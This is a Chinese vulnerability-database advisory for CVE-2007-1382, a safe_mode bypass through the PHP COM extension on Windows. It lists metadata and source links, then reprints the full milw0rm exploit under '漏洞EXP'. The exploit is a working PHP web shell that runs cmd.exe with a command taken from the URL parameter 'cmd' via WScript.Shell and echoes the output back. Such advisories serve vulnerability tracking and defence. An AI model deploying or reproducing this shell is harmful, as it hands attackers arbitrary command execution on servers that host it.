Windows的PHP COM执行任意代码漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112377 漏洞类型 未知
发布时间 2007-03-07 更新时间 2007-03-09
CVE编号 CVE-2007-1382 CNNVD-ID CNNVD-200703-297
漏洞平台 Windows CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/3429
https://www.securityfocus.com/bid/83571
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-297
|漏洞详情
Windows系统上的PHPCOM扩展名允许见机行事的攻击者借助一个WScript.ShellCOM对象,执行任意代码。通过使用该对象的Run方式运行cmd.exe,可以绕过PH的安全模式。
|漏洞EXP
<?php
   //PHP COM extensions (inconsistent Win32) safe_mode bypass

    $____suntzu = new COM("WScript.Shell");
    $____suntzu->Run('c:\windows\system32\cmd.exe /c '.escapeshellarg($_GET[cmd]).' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/suntzoi.txt');
    $____suntzoi=file("suntzoi.txt");
    for ($i=0; $i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}

   // *quote* from the php manual:
   // There is no installation needed to use these functions; they are part of the PHP core.

   // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

   // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
   // we don't and can't bundle all of those with PHP.
?>

# milw0rm.com [2007-03-07]
|参考资料

来源:MILW0RM
名称:3429
链接:http://www.milw0rm.com/exploits/3429